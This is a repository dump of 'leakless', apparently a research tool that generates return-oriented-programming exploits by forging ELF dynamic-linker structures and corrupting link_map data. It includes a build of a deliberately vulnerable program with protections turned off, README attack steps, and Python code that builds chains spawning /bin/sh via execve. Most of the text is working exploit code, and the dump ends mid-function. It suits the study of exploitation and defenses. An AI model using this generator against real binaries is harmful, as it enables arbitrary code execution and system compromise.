Repository: ucsb-seclab/leakless
Branch: master
Commit: 94c01b4b67b8
Files: 11
Total size: 76.0 KB
Directory structure:
gitextract_1hr6vo3a/
├── .gitignore
├── CMakeLists.txt
├── README.md
├── exploit.py
├── memory.py
├── plugins/
│ ├── CommonGadgetsExploit.py
│ ├── RawDumperExploit.py
│ └── __init__.py
├── rangeset.py
├── utils.py
└── vuln.c
================================================
FILE CONTENTS
================================================
================================================
FILE: .gitignore
================================================
*.idb
*.o
*.pyc
*.gdb_history
================================================
FILE: CMakeLists.txt
================================================
cmake_minimum_required(VERSION 2.6)
project(leakless)
set(VULN vuln.c)
set(EXPLOIT exploit.py)
# Compiler flags
# ==============
# Global flags
# ------------
set(CMAKE_C_FLAGS "-fno-stack-protector -O2")
set(CMAKE_SHARED_LIBRARY_LINK_C_FLAGS "")
# Architectures and related options
# ---------------------------------
set(ARCHITECTURES "x86;x86-64" CACHE STRING "List of architectures to enable")
if ("${CMAKE_C_COMPILER_ID}" STREQUAL "Clang")
set(INTEL_FLAVOR "-mllvm --x86-asm-syntax=intel")
elseif ("${CMAKE_C_COMPILER_ID}" STREQUAL "GNU")
set(INTEL_FLAVOR "-masm=intel")
endif()
set(x86_FLAGS "${INTEL_FLAVOR} -m32")
set(x86_OFFSET "112")
set(x86-64_FLAGS "${INTEL_FLAVOR} -m64")
set(x86-64_OFFSET "120")
# Build types and related options
# -------------------------------
set(BUILD_TYPES no_relro partial_relro full_relro)
set(NO_RELRO_FLAGS "")
set(PARTIAL_RELRO_FLAGS "-Wl,-z,relro")
set(FULL_RELRO_FLAGS "-Wl,-z,relro,-z,now")
# Testing
# =======
enable_testing()
set(TEST_TYPES craft-dl-structs ld-corrupt)
set(TEST_FLAGS_craft-dl-structs "--method=craft-dl-structs")
set(TEST_FLAGS_ld-corrupt "--method=ld-corrupt -l 1")
# List of tests expected to fail
# ------------------------------
set(EXPECTED_TO_FAIL test-craft-dl-structs-vuln-x86-full_relro test-craft-dl-structs-vuln-x86-64-full_relro)
# Helper library
# ==============
# We create a helper library to avoid issues with RELRO libcs/loaders
set(HELPER_C_FILE "${CMAKE_CURRENT_BINARY_DIR}/helper.c")
file(WRITE "${HELPER_C_FILE}" "int return42() { return 42; }")
foreach(ARCHITECTURE ${ARCHITECTURES})
set(TARGET_NAME "helper-${ARCHITECTURE}")
add_library("${TARGET_NAME}" SHARED "${HELPER_C_FILE}")
set_target_properties("${TARGET_NAME}" PROPERTIES
COMPILE_FLAGS "${${ARCHITECTURE}_FLAGS}"
LINK_FLAGS "${${ARCHITECTURE}_FLAGS}")
endforeach(ARCHITECTURE)
# Create targets
# ==============
add_custom_target(length)
add_custom_target(json)
add_custom_target(ropl)
foreach(ARCHITECTURE ${ARCHITECTURES})
foreach(BUILD_TYPE ${BUILD_TYPES})
# Binaries
# --------
set(TARGET_NAME "vuln-${ARCHITECTURE}-${BUILD_TYPE}")
string(TOUPPER "${BUILD_TYPE}" TYPE_PREFIX)
add_executable("${TARGET_NAME}" "${VULN}")
target_link_libraries("${TARGET_NAME}" "helper-${ARCHITECTURE}")
set_target_properties("${TARGET_NAME}" PROPERTIES
COMPILE_FLAGS "${${ARCHITECTURE}_FLAGS} ${${TYPE_PREFIX}_FLAGS}"
LINK_FLAGS "${${ARCHITECTURE}_FLAGS} ${${TYPE_PREFIX}_FLAGS}")
# Tests
# -----
foreach(TEST_TYPE ${TEST_TYPES})
set(TEST_NAME "test-${TEST_TYPE}-${TARGET_NAME}")
set(TEST_FLAGS "${TEST_FLAGS_${TEST_TYPE}}")
# Invoke the exploit
set(EXPLOIT_INVOCATION "${CMAKE_SOURCE_DIR}/${EXPLOIT} ${TEST_FLAGS} --offset ${${ARCHITECTURE}_OFFSET} $<TARGET_FILE:${TARGET_NAME}>")
# Command to execute and check of correctness
set(TEST_INVOCATION "(${EXPLOIT_INVOCATION}; echo '/bin/bash -c \"base64 -d <<< UGFzc2VkCg==\"') | $<TARGET_FILE:${TARGET_NAME}> | grep -E '^Passed$'")
# If we expect failure of this test, negate the exit result
list(FIND EXPECTED_TO_FAIL "${TEST_NAME}" EXPECTED_TO_FAIL_INDEX)
if (NOT EXPECTED_TO_FAIL_INDEX EQUAL -1)
set(TEST_INVOCATION "! (${TEST_INVOCATION})")
endif()
# Add the test
add_test(NAME "${TEST_NAME}" COMMAND /bin/sh -c "${TEST_INVOCATION}")
# Add the target to have the length
set(TARGET_LEGTH_NAME "length-${TEST_TYPE}-${TARGET_NAME}")
add_custom_target("${TARGET_LEGTH_NAME}" COMMAND /bin/sh -c "${EXPLOIT_INVOCATION} --size")
add_dependencies(length "${TARGET_LEGTH_NAME}")
add_custom_command(OUTPUT "${TEST_TYPE}-${TARGET_NAME}.json"
COMMAND /bin/sh -c "${EXPLOIT_INVOCATION} -o json" > ${TEST_TYPE}-${TARGET_NAME}.json)
add_custom_target("json-${TEST_TYPE}-${TARGET_NAME}" DEPENDS "${TEST_TYPE}-${TARGET_NAME}.json")
add_dependencies(json "json-${TEST_TYPE}-${TARGET_NAME}")
add_custom_command(OUTPUT "${TEST_TYPE}-${TARGET_NAME}.ropl"
COMMAND /bin/sh -c "${EXPLOIT_INVOCATION} -o ropl" > ${TEST_TYPE}-${TARGET_NAME}.ropl)
add_custom_target("ropl-${TEST_TYPE}-${TARGET_NAME}" DEPENDS "${TEST_TYPE}-${TARGET_NAME}.ropl")
add_dependencies(ropl "ropl-${TEST_TYPE}-${TARGET_NAME}")
endforeach(TEST_TYPE)
endforeach(BUILD_TYPE)
endforeach(ARCHITECTURE)
================================================
FILE: README.md
================================================
How to test
===========
1. Build vuln.c
gcc -fno-stack-protector vuln.c -o /tmp/vuln -m32 -O2
2. Find the offset of the saved IP
ruby19 "$METASPLOIT/tools/pattern_create.rb" 256 | /tmp/vuln
dmesg | tail
ruby19 "$METASPLOIT/tools/pattern_offset.rb" $SEGFAULT_IP
3. Launch the attack with the desired parameter
(python ./exploit.py /tmp/vuln --offset $OFFSET; echo ls) | /tmp/vuln
You can also just dump to a JSON file all the necessary information to
perform the exploit:
python ./exploit.py /tmp/vuln --json
For debugging information, use the `--debug` parameter. For further
information on the parameters use the `--help` parameter.
The CMake build system will compile `vuln.c` for x86 and x86-64 with
different protections enabled. There's also a CTest testsuite which
has been tested using the `ld.gold` linker and GCC 4.8.4. Different
toolchains might require minor adjustments.
To launch it just run:
mkdir leakless-build
cd leakless-build
cmake ../leakless
make
make test
The build system has also the `length`, `json` and `ropl` targets
which, respectively, produce the length of the generated exploit for
each supported configuration and the JSON and ropl version of the
exploit.
make length
make json
make ropl
Basic idea
==========
char *buffer = .bss;
char *new_stack = buffer + 1024;
int *rubbish = new_stack + 4;
strcpy(buffer, "execve");
*((int *) buffer) = 'exec';
*(((int *) buffer) + 1) = 've\0\0';
char *name = buffer;
buffer += strlen(buffer) + 1;
Elf32_Sym *symbol = (Elf32_Sym *) buffer;
symbol->st_name = name - .dynstr;
symbol->st_value = 0;
symbol->st_info = 0;
symbol->st_other = 0;
symbol->st_shndx = 0;
buffer += sizeof(*symbol);
Elf32_Rel *reloc = (Elf32_Rel *) buffer;
reloc->r_offset = rubbish++;
reloc->r_info = (R_386_JUMP_SLOT | (symbol - .dynsym) / sizeof(symbol));
buffer += sizeof(reloc):
pre_plt((reloc - .rel.plt) / sizeof(Elf32_Rel));
Helper classes
==============
* `MemoryArea`: data structure representing a part of memory, with its
start address, its size, a reference to what its relative to
(e.g. the `MemoryArea` where we'll write the relocation structure
will be relative to the `.rela.dyn` section). `MemoryArea` also
takes care of computing the appropriate index (`MemoryArea.index`)
relative to the specified part of memory.
* `Buffer`: data structure holding information about a buffer where we
want to write to things. Typically this will represent to
`.bss`. Buffer also keeps track of what part of it has already been
allocated (`Buffer.current` points to the next free location) and
allows to allocate new `MemoryArea`s with the appropriate
alignement.
`Exploit`-derived classes
=========================
* `Exploit`: the base class, contains all the architecture- and
platform-independent parts of the exploit. It keeps the list of the
gadgets, it takes care of collecting all the interesting information
about the program from the ELF file and abstracting some utility and
memory-related functions (e.g. `write_pointer` and `write_string`)
which rely on the abstract `do_writemem` function (which is
platform- and program-dependent). Finally, in `jump_to`, contains
the core logic for setting up the necessary data structures in the
buffers.
* `CommonGadgetsExploit`: inherits from `Exploit` and introduces
architecture-dependent parts, in particular gadgets and
function-invocation logic.
* `ExecveExploit`: very simple class implementing the logic to launch
an `execve`, so write a `NULL` pointer, a `"/bin/sh\0"` and
explicitly look for `execve`. Finally invoke it.
* `RawDumperExploit`: exploit useful to just collect the information
necessary to perform the attack without actually generating the ROP
chain. `RawDumperExploit.jump_to` will return as first result an
array of tuples `(address, what_to_write_there)`, which, for
instance, are used to implement the `--json` parameter.
================================================
FILE: exploit.py
================================================
#!/usr/bin/env python
import os
import sys
import glob
import json
import argparse
import operator
import struct
import importlib
import elftools.elf.structs
from elftools.elf.elffile import ELFFile
from elftools.elf.relocation import RelocationSection
from elftools.elf.sections import SymbolTableSection
from elftools.elf.constants import P_FLAGS, SH_FLAGS
from elftools.elf.enums import ENUM_E_TYPE, ENUM_D_TAG
from itertools import izip
from operator import attrgetter
from collections import namedtuple
from rangeset import RangeSet
import utils
from utils import *
from memory import *
ElfN_Versym_size = 2
DF_BIND_NOW = 0x8
DF_1_NOW = 0x1
relocation_types = {
"EM_386": 7,
"EM_X86_64": 7,
"EM_ARM": 22
}
# `ExploitInfo`
# * `prepare`: information on how to prepare the memory for the exploit
# * `reloc_index`: the index to pass to `dl_resolve`
# * `l_struct`: a *pointer* to a memory area containing a pointer to the `l`
# structure used by the `dl_resolve`
# * `dl_resolve`: a *pointer* to a memory area containing a pointer to the
# `dl_resolve` function
# * `plt0`: the address of the first entry of the .plt which will call
# `_dl_runtime_resolve`
ExploitInfo = namedtuple("ExploitInfo", ["prepare", "reloc_index", "l_struct",
"dl_resolve", "plt0", "function_name_area"])
class Exploit:
__slots__ = "arch", "little", "pointer_size", "dynstr", "dynsym", \
"relplt", "plt", "filler", "relocation_type", \
"dynamic", "versym", "gadgets", "fini"
def __init__(self):
self.gadgets = {}
self.empty_exploit = lambda: ""
self.badchars = []
def allocate_helpers(self, buffer):
return ""
def add_gadget(self, architecture, name, info, gadget):
"""Adds a gadget to the collection of gadgets for the specified architecture."""
if architecture not in self.gadgets:
self.gadgets[architecture] = {}
self.gadgets[architecture][name] = (info, gadget)
def get_gadget(self, name):
"""Returns the gadget with the specified name for the current architecture"""
return self.gadgets[self.arch][name]
# TODO: split this, not everyone needs everything
def config_from_elf(self, path):
"""Load all the necessary information about the program parsing the ELF
headers. Furthermore, check some pre-requisites for the exploit to be
successful."""
executable_file = open(path, "r")
elf = ELFFile(executable_file)
get_section = lambda name: first_or_none(filter(lambda section: section.name == name, elf.iter_sections()))
get_section_address = lambda section: None if (get_section(section) is None) else get_section(section).header.sh_addr
# Checks
if elf.header.e_type == ENUM_E_TYPE["ET_EXEC"]:
raise Exception("Only non-PIE executables are supported")
# Binary type
self.arch = elf.header.e_machine
self.little = elf.little_endian
self.pointer_size = elf.elfclass / 8
self.pointer_format = ("0x%." + str(self.pointer_size * 2) + "x")
self.structs = elftools.elf.structs.ELFStructs(self.little, self.pointer_size * 8)
# Useful sections
self.sections = {section.name: (section.header.sh_addr, section.header.sh_addr + section.header.sh_size) for section in elf.iter_sections()}
self.plt = get_section_address(".plt")
self.got = get_section_address(".got")
self.gotplt = get_section_address(".got.plt")
# Dynamic section
dynamic_section = get_section(".dynamic")
self.writable_dynamic = dynamic_section.header.sh_flags & SH_FLAGS.SHF_WRITE
self.dynamic = dynamic_section.header.sh_addr
dynamic_entries = [self.structs.Elf_Dyn.parse(dynamic_entry)
for dynamic_entry in
chunks(dynamic_section.data(), self.structs.Elf_Dyn.sizeof())]
# Dynamic symbols
# TODO: we're relying on section names here
symbol_table = elf.get_section_by_name(".dynsym")
has_name = lambda name: lambda symbol: symbol.name == name
attribute_or_default = lambda default, attribute, x: getattr(x, attribute) if x is not None else default
memcpy_symbol = first_or_none(filter(has_name("memcpy"), symbol_table.iter_symbols()))
self.memcpy_plt = 0 if memcpy_symbol is None else memcpy_symbol.entry.st_value
# We try not to rely on section names
get_dynamic = lambda name: first_or_none(map(lambda entry: entry.d_val, filter(lambda entry: entry.d_tag == name, dynamic_entries)))
get_dynamic_index = lambda name: filter(lambda entry: entry[1].d_tag == name, enumerate(dynamic_entries))[0][0]
self.dynstr = get_dynamic("DT_STRTAB")
self.dynsym = get_dynamic("DT_SYMTAB")
self.versym = get_dynamic("DT_VERSYM")
self.verneed = get_dynamic("DT_VERNEED")
self.relplt = get_dynamic("DT_JMPREL")
self.addend = get_dynamic("DT_RELA") is not None
self.dt_debug = self.dynamic + get_dynamic_index("DT_DEBUG") * self.structs.Elf_Dyn.sizeof() + self.pointer_size
self.full_relro = (get_dynamic("DT_FLAGS") is not None) and \
((get_dynamic("DT_FLAGS") & DF_BIND_NOW) != 0)
self.full_relro = self.full_relro or ((get_dynamic("DT_FLAGS_1") is not None) and \
((get_dynamic("DT_FLAGS_1") & DF_1_NOW) != 0))
# Choose between Elf_Rel and Elf_Rela depending on the architecture
self.rel_struct = self.structs.Elf_Rela if self.addend else self.structs.Elf_Rel
# Looks like 64-bit and 32-bit have different alignment for the call to _dl_fixup
self.reloc_alignment = 1 if self.pointer_size == 4 else self.rel_struct.sizeof()
self.reloc_index_multiplier = self.rel_struct.sizeof() if self.pointer_size == 4 else 1
#
# Find candidate writeable areas
#
# Collect PT_LOAD segments (what gets mapped)
loaded_segments = filter(lambda segment: segment.header.p_type == "PT_LOAD", elf.iter_segments())
# Collect the segments which are writeable
writeable_segments = filter(lambda segment: segment.header.p_flags & P_FLAGS.PF_W, loaded_segments)
# Get their memory ranges (start, end)
writeable_ranges = RangeSet.mutual_union(*map(lambda segment: (segment.header.p_vaddr, segment.header.p_vaddr + segment.header.p_memsz), writeable_segments))
# List of sections we don't want to write to
dont_overwrite_sections = filter_none([self.dynstr, self.dynsym, self.versym, self.relplt, self.dynamic, self.got, self.gotplt])
# Memory ranges of the sections we don't want to write to
dont_overwrite_ranges = RangeSet.mutual_union(*[self.sections[self.section_from_address(start)] for start in dont_overwrite_sections])
# Handle RELRO segment, we don't want to write there
relro_segment = first_or_none(filter(lambda segment: segment.header.p_type == "PT_GNU_RELRO", elf.iter_segments()))
if relro_segment is not None:
dont_overwrite_ranges = dont_overwrite_ranges | RangeSet(relro_segment.header.p_vaddr, relro_segment.header.p_vaddr + relro_segment.header.p_memsz)
# Compute the set of candidate memory ranges
self.writeable_ranges = writeable_ranges - dont_overwrite_ranges
# Save the index of the DT_FINI entry
fini = filter(lambda (i, entry): entry.d_tag == "DT_FINI", enumerate(dynamic_entries))
if len(fini) > 0:
self.fini = self.dynamic + self.structs.Elf_Dyn.sizeof() * fini[0][0]
# Gadgets
if self.gadgets.has_key(self.arch):
executable_segments = filter(lambda segment: segment.header.p_flags & P_FLAGS.PF_X, elf.iter_segments())
for name, (info, gadget) in self.gadgets[self.arch].iteritems():
locations = find_all_strings(executable_segments, hex_bytes(gadget))
locations = map(self.ptr2str, locations)
location = first_or_none(filter(lambda address: not reduce(lambda accumulate, badchar: badchar in address or accumulate, self.badchars , False), locations))
if location is None:
self.gadgets[self.arch][name] = None
else:
self.gadgets[self.arch][name] = (info, gadget, location)
# Find all '\x00\x00' in non-writeable segments
self.non_writeable_segments = filter(lambda segment: not (segment.header.p_flags & P_FLAGS.PF_W), loaded_segments)
self.zero_or_one_addresses = find_all_strings(self.non_writeable_segments, "\x00\x00") + \
find_all_strings(self.non_writeable_segments, "\x01\x00" if self.little else "\x00\x01")
self.filler = self.ptr2str(reduce(lambda x,y: (x << 32) | 0xdeadb00b, xrange(1 + (self.pointer_size % 4)), 0))
self.relocation_type = relocation_types[self.arch]
#
# Find the reloc pointing to the symbol whose name is the earliest in .dynstr
#
relplt_section = elf.get_section_by_name(self.section_from_address(self.relplt))
dynsym_section = elf.get_section_by_name(self.section_from_address(self.dynsym))
if not (isinstance(relplt_section, RelocationSection) and \
isinstance(dynsym_section, SymbolTableSection)):
raise Exception("Unexpect type for dynamic sections: " + str(relplt_section) + " " + str(dynsym_section))
# Grab .got.plt relocs symbol indexes
symbol_indexes = [reloc.entry.r_info_sym if reloc.entry.r_info_type == self.relocation_type else None for reloc in relplt_section.iter_relocations()]
# Get offsets in .dynstr
names_offsets = [dynsym_section.get_symbol(index).entry.st_name if index is not None else None for index in symbol_indexes]
# Filter out unamed offsets
names_offsets = [offset if offset > 0 else None for offset in names_offsets]
# Get the minimum value
self.min_reloc_index, self.min_string_offset = min(enumerate(names_offsets), key=operator.itemgetter(1))
self.min_symbol_index = symbol_indexes[self.min_reloc_index]
log(self.dump())
def get_non_writeable_segment(self, address):
for non_writeable_segment in self.non_writeable_segments:
start = non_writeable_segment.header.p_vaddr
end = start + non_writeable_segment.header.p_memsz
if (start <= address) and (address < end):
return non_writeable_segment
return None
def read_non_writeable(self, address, size):
segment = self.get_non_writeable_segment(address)
if segment is None:
raise Exception("Not a non-writeable address: " + hex(address))
start = segment.header.p_vaddr
end = start + segment.header.p_memsz
return segment.data()[address - start:address - start + size]
def section_from_address(self, address):
for name, section in self.sections.iteritems():
start = section[0]
end = section[1]
# TODO: we're excluding mappings at 0
if (start > 0) and (start <= address) and ((address < end) or ((start > 0) and (end - start == 0))):
return name
raise Exception("Can't find a section for address " + hex(address))
def closest_section_from_address(self, address):
sorted_sections = [0] + sorted([section[0] for section in self.sections.itervalues()]) + [(1 << 8 * self.pointer_size) - 1]
for start, end in pairwise(sorted_sections):
if (start <= address) and (address < end):
return ("0" if start == 0 else self.section_from_address(start)) + " + " + hex(address - start)
raise Exception("Can't find a section for address " + hex(address))
def dump(self):
"""Dump all the information held by this Exploit instance for debugging
purposes."""
return "\n".join([slot + ": " + str(getattr(self, slot)) for slot in self.__slots__])
# Utility functions
# =================
def ptr2str(self, integer):
"""Convert a pointer (in the form of an integer) to a byte string of its memory
representation according the current architecture endianness."""
direction = "<" if self.little else ">"
word_size = "Q" if self.pointer_size == 8 else "I"
mask = (1 << self.pointer_size * 8) - 1
return struct.pack(direction + word_size, integer & mask)
def str2ptr(self, string):
"""Convert a byte string representing a pointer to an integer."""
direction = "<" if self.little else ">"
word_size = "Q" if self.pointer_size == 8 else "I"
return struct.unpack(direction + word_size, string)[0]
# Abstractions to write memory
# ============================
def write_all(self, start, string):
if (self.memcpy_plt) and (len(string) > self.pointer_size):
return self.memcpy(start, string)
result = self.empty_exploit()
remaining = string
while len(remaining) > 0:
remaining, writer = self.do_writemem(self.ptr2str(start + len(string) - len(remaining)), remaining)
result += writer
return result
def flush(self, buffer):
result = self.empty_exploit()
content_buffer = ""
areas = filter(attrgetter("is_buffered"), buffer.areas.values())
last_start = last_end = areas[0].start
for memory_area in areas:
memory_area.is_buffered = False
if last_end == memory_area.start:
content_buffer += memory_area.content
last_end += len(memory_area.content)
else:
result += self.write_all(last_start, content_buffer)
content_buffer = memory_area.content
last_start = last_end = memory_area.start
result += self.write_all(last_start, content_buffer)
return result
def write_string(self, memory_area, string, buffered=True):
"""Write an input string in the specified memory area invoking an appropriate
number of times the do_writemem function."""
string_len = len(string)
if string_len == 0:
return self.empty_exploit()
elif string_len > memory_area.size:
raise Exception("You're trying to write {} bytes in a MemoryArea {} bytes wide".format(string_len, memory_area.size))
memory_area.is_buffered = buffered
memory_area.content = string
if not buffered:
return self.write_all(memory_area.start, string)
else:
return self.empty_exploit()
def write_pointer(self, memory_area, pointer, buffered=True):
"""Write a pointer (an integer) to a memory area."""
return self.write_string(memory_area, self.ptr2str(pointer), buffered)
def create_relocation(self, buffer, symbol_index, align_to=None):
"""Create an ElfN_Rel using a writable memory area as relocation
target and referencing the requested symbol index."""
reloc = buffer.allocate(self.rel_struct.sizeof(), align_to, self.reloc_alignment, name="reloc")
relocation_target = buffer.allocate(self.pointer_size, name="relocation_target")
# Create the Elf_Rela? structure to the exploit
function_reloc = self.rel_struct.parse("\0" * self.rel_struct.sizeof())
function_reloc.r_offset = relocation_target.start
function_reloc.r_info_type = self.relocation_type
function_reloc.r_info_sym = symbol_index
if self.pointer_size * 8 == 32:
function_reloc.r_info = function_reloc.r_info_type | (function_reloc.r_info_sym << 8)
else:
function_reloc.r_info = function_reloc.r_info_type | (function_reloc.r_info_sym << 32)
prepare = self.write_string(reloc, self.rel_struct.build(function_reloc))
return prepare, reloc
class CraftDlStructsExploit(Exploit):
def jump_to(self, buffer, function_name_max_length):
"""Craft the necessary data structures (Elf_Rela?, Elf_Sym, version index) and
strings to pass to the dynamic linker."""
# Part of the ROP exploit to write the data structures
exploit = self.empty_exploit()
# Allocate the buffers necessary for the data structure we're going to
# create
function_name_str = buffer.allocate(function_name_max_length, self.dynstr, 1, name="function_name_str")
# TODO: move symbol as first thing in the buffer
if self.versym:
to_range = lambda address, size: (address, address + size)
# We have three possible constraints (in order of preference):
# 1. The version index has special value 0 (local) or 1 (global)
# 2. The version index falls in a memory area we can write
# 3. The version index points to ElfN_Verneed structure we can write
constraints = [lambda address, versym: versym in self.zero_or_one_addresses,
lambda address, versym: to_range(versym, ElfN_Versym_size) in buffer.ranges,
lambda address, versym: (self.get_non_writeable_segment(versym) is not None) and \
(to_range(self.verneed + self.structs.Elf_Verneed.sizeof() * self.str2ptr(self.read_non_writeable(versym, ElfN_Versym_size)), self.structs.Elf_Verneed.sizeof()) in buffer.ranges)]
wrap_versym = lambda func: lambda address, index: func(address, self.versym + ElfN_Versym_size * index)
constraints = map(wrap_versym, constraints)
else:
constraints = [lambda x,y: True]
errors = 0
for constraint in constraints:
try:
symbol = buffer.allocate(self.structs.Elf_Sym.sizeof(), self.dynsym, name="symbol", constraint=constraint)
break
except AllocateFailException:
errors += 1
pass
if self.versym:
if errors > 2: # We failed
raise Exception("Can't find a position for the Elf_Sym")
versym_address = self.versym + ElfN_Versym_size * symbol.index
if errors == 1: # We can write in ElfN_Versym
versym_area = buffer.allocate(ElfN_Versym_size, align_to=self.versym, start=versym_address)
exploit += self.write_string(versym_area, "\x00\x00")
elif errors == 2: # We can write in ElfN_Verneed
verneed_address = self.verneed + self.structs.Elf_Verneed.sizeof() * self.str2ptr(self.read_non_writeable(versym_address, ElfN_Versym_size))
verneed_area = buffer.allocate(self.structs.Elf_Verneed.sizeof(), align_to=self.verneed, start=verneed_address)
verneed_struct = self.structs.Elf_Verneed.parse("\0" * self.structs.Elf_Verneed.sizeof())
verneed_struct.vn_version = 1;
verneed_struct.vn_cnt = 0;
verneed_struct.vn_file = 0;
verneed_struct.vn_aux = 0;
verneed_struct.vn_next = 0;
exploit += self.write_string(verneed_area, self.structs.Elf_Verneed.build(verneed_struct))
# Append the creation of the Elf_Sym structure to the exploit
function_symbol = self.structs.Elf_Sym.parse("\0" * self.structs.Elf_Sym.sizeof())
function_symbol.st_name = function_name_str.index
function_symbol.st_info.bind = "STB_GLOBAL"
function_symbol.st_info.type = "STT_FUNC"
exploit += self.write_string(symbol, self.structs.Elf_Sym.build(function_symbol))
prepare_relocation, reloc = self.create_relocation(buffer, symbol.index, align_to=self.relplt)
exploit += prepare_relocation
return ExploitInfo(prepare=exploit, reloc_index=reloc.index, plt0=self.plt, l_struct=None, dl_resolve=None, function_name_area=function_name_str)
class CorruptLdSoExploit(Exploit):
def jump_to(self, buffer, function_name_max_length):
dt_strtab_offset = ENUM_D_TAG["DT_STRTAB"] * self.pointer_size
l_info_offset = 8 * self.pointer_size
fake_dynstr_area = buffer.allocate(self.min_string_offset, name="fake_dynstr")
function_name_area = buffer.allocate(function_name_max_length, fake_dynstr_area.start, 1, name="function_name")
# TODO: instead of this support for "don't care" memory areas
# Allocate the DT_STRTAB dynamic entry (possibly in the fake .dynstr itself, if it fits)
if fake_dynstr_area.size >= self.structs.Elf_Dyn.sizeof():
dt_strtab_entry_area = fake_dynstr_area
else:
dt_strtab_entry_area = buffer.allocate(self.structs.Elf_Dyn.sizeof(), name="dt_strtab_entry")
exploit = self.empty_exploit()
# TODO: here is not really necessary to write DT_STRTAB, no one will check that
dt_strtab_entry = self.structs.Elf_Dyn.parse("\x00" * self.structs.Elf_Dyn.sizeof())
dt_strtab_entry.d_tag = "DT_STRTAB"
dt_strtab_entry.d_val = fake_dynstr_area.start
exploit += self.write_string(dt_strtab_entry_area, self.structs.Elf_Dyn.build(dt_strtab_entry))
if not self.full_relro:
# OK, the l_pointer is just a GOT[1] and dl_resolve is in GOT[2]
l_pointer = self.gotplt + self.pointer_size * 1
dl_resolve_pointer = self.gotplt + self.pointer_size * 2
# We can also use the plt[0] entry
plt0 = self.plt
reloc_index = self.min_reloc_index * self.rel_struct.sizeof()
else:
# We can't use GOT[1], GOT[2] or plt[0], let's work around this
# We reuse a part of the buffer multiple times
exe_link_map_area = buffer.allocate(self.pointer_size, name="exe_link_map")
first_lib_link_map_area = buffer.allocate(self.pointer_size, name="first_lib_link_map")
dyn_gotplt_area = first_lib_link_map_area # Reuse
gotplt_area = dyn_gotplt_area # Reuse
dl_resolve_area = gotplt_area # Reuse
# Prepare fake relocation
prepare_relocation, fake_relocation_area = self.create_relocation(buffer, self.min_symbol_index)
exploit += prepare_relocation
# TODO: factorize this
dt_jmprel_entry_area = buffer.allocate(self.structs.Elf_Dyn.sizeof(), name="fake_jmprel_entry")
# TODO: here is not really necessary to write DT_JMPREL, no one will check that
dt_jmprel_entry = self.structs.Elf_Dyn.parse("\x00" * self.structs.Elf_Dyn.sizeof())
dt_jmprel_entry.d_tag = "DT_JMPREL"
dt_jmprel_entry.d_val = fake_relocation_area.start
exploit += self.write_string(dt_jmprel_entry_area, self.structs.Elf_Dyn.build(dt_jmprel_entry))
# Let's navigate a bit through data structures
# exe_link_map = *(*DT_DEBUG.d_val + offsetof(r_map))
# TODO: factorize out glibc's magic numbers
r_map_offset = self.pointer_size # an int
exploit += self.deref_with_offset_and_save(self.ptr2str(self.dt_debug),
self.ptr2str(r_map_offset),
self.ptr2str(exe_link_map_area.start))
# first_lib_link_map = *(*exe_link_map + offsetof(l_next))
l_next_offset = self.pointer_size * 3 # skip l_addr, l_name and l_ld
exploit += self.deref_with_offset_and_save(self.ptr2str(exe_link_map_area.start),
self.ptr2str(l_next_offset),
self.ptr2str(first_lib_link_map_area.start))
# Repeat until we reach the desired library (check with `ldd`)
for _ in xrange(1, self.library_index + 1):
exploit += self.deref_with_offset_and_save(self.ptr2str(first_lib_link_map_area.start),
self.ptr2str(l_next_offset),
self.ptr2str(first_lib_link_map_area.start))
# dyn_gotplt = *(*first_lib_link_map + offsetof(l_info) + offsetof(DT_PLTGOT))
dt_pltgot_offset = ENUM_D_TAG["DT_PLTGOT"] * self.pointer_size
exploit += self.deref_with_offset_and_save(self.ptr2str(first_lib_link_map_area.start),
self.ptr2str(l_info_offset + dt_pltgot_offset),
self.ptr2str(dyn_gotplt_area.start))
# gotplt = *(*dyn_gotplt + offsetof(d_val))
d_val_offset = self.pointer_size
exploit += self.deref_with_offset_and_save(self.ptr2str(dyn_gotplt_area.start),
self.ptr2str(d_val_offset),
self.ptr2str(gotplt_area.start))
# dl_resolve = *(*gotplt + offsetof(dl_resolve_offset))
dl_resolve_offset = self.pointer_size * 2 # Take GOT[2]
exploit += self.deref_with_offset_and_save(self.ptr2str(gotplt_area.start),
self.ptr2str(dl_resolve_offset),
self.ptr2str(dl_resolve_area.start))
# Make DT_JMPREL of the main executable point to our fake relocation
# *(*exe_link_map + offsetof(l_info) + offsetof(DT_REL)) = fake_relocation
dt_rel_offset = ENUM_D_TAG["DT_JMPREL"] * self.pointer_size
exploit += self.write_with_offset(self.ptr2str(exe_link_map_area.start),
self.ptr2str(l_info_offset + dt_rel_offset),
self.ptr2str(dt_jmprel_entry_area.start))
l_pointer = exe_link_map_area.start
dl_resolve_pointer = dl_resolve_area.start
plt0 = None
reloc_index = 0
# Make DT_STRTAB point to our fake DT_STRTAB structure
# *(*l_pointer + offsetof(l_info) + offsetof(DT_STRTAB)) = dt_strtab_entry
exploit += self.write_with_offset(self.ptr2str(l_pointer),
self.ptr2str(l_info_offset + dt_strtab_offset),
self.ptr2str(dt_strtab_entry_area.start))
return ExploitInfo(prepare=exploit,
reloc_index=reloc_index,
l_struct=l_pointer,
dl_resolve=dl_resolve_pointer,
plt0=plt0,
function_name_area=function_name_area)
def launch(exploit, program):
"""Launch an execve("/bin/sh/", &null, &null); exploit."""
buffer = Buffer(exploit, exploit.writeable_ranges)
binsh_str = program + "\0"
pointer_to_null = buffer.allocate(exploit.pointer_size, name="pointer_to_null")
binsh = buffer.allocate(len(binsh_str), name="binsh")
result = ""
result += exploit.allocate_helpers(buffer)
# Pointer to NULL
result += exploit.write_pointer(pointer_to_null, 0)
# /bin/sh
result += exploit.write_string(binsh, binsh_str)
# TODO: fixme
exploit_info = exploit.jump_to(buffer, len("execve\0"))
result += exploit.write_string(exploit_info.function_name_area, "execve\0")
result += exploit_info.prepare
result = exploit.flush(buffer) + result
result += invoke(exploit, exploit_info, [binsh.pointer, pointer_to_null.pointer, pointer_to_null.pointer])
log(buffer.dump())
return result
def invoke(exploit, exploit_info, parameters):
result = ""
if exploit_info.plt0 is not None:
# Invocation of the dynamic linker resolver (plt[0]) with the
# appropriate relocation index
launch = exploit.ptr2str(exploit_info.plt0) + exploit.ptr2str(exploit_info.reloc_index)
prepare, nope, stack_frame = exploit.call(launch, parameters)
result += prepare + stack_frame
elif (exploit_info.dl_resolve is not None) and \
(exploit_info.l_struct is not None):
# TODO: this is outdated
# Layout:
# ©_to_stack
# offset = C - A
# destination
# A: ©_to_stack
# offset = B - B
# destination
# B: &dl_resolve
# C: &l
# reloc_index
function_call, next_gadget_offset, stack_frame = exploit.call(exploit.filler, parameters)
